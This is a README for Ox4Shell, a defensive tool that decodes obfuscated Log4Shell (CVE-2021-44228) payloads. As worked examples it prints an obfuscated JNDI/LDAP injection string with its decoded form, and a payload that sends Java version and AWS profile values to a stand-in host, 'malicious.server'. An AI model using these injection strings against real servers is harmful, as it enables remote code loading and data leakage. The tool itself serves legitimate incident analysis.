Ox4Shell
Deobfuscate Log4Shell payloads with ease.
Description
Since the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.
This tool intends to unravel the true contents of obfuscated Log4Shell payloads.
For example, consider the following obfuscated payload:
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:[email protected][)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:[email protected]:-z}3z${uY)u:7S2)P4ihH:[email protected]:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
After running Ox4Shell, it would transform into an intuitive and readable form:
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
Usage
To run the tool simply:
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The maximum number of iteration to perform on a given payload (default: 150)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
Mock Data
The Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.
Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.
The default set of mock data provided is:
{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability:
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}
Authors
License
The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.
41 Nov 22, 2022
11 Nov 11, 2022
2 Nov 24, 2022
12 Nov 22, 2022
32 Dec 25, 2022
910 Jan 01, 2023
48 Jun 20, 2022
1 Jan 24, 2022
34 Nov 15, 2022
5 Nov 25, 2022
125 Dec 09, 2022
48 Nov 26, 2022
95 Dec 27, 2022
181 Jan 02, 2023
10 Sep 25, 2022
59 Dec 24, 2022
312 Dec 09, 2022
382 Jan 01, 2023
4 Dec 23, 2021
210 Dec 31, 2022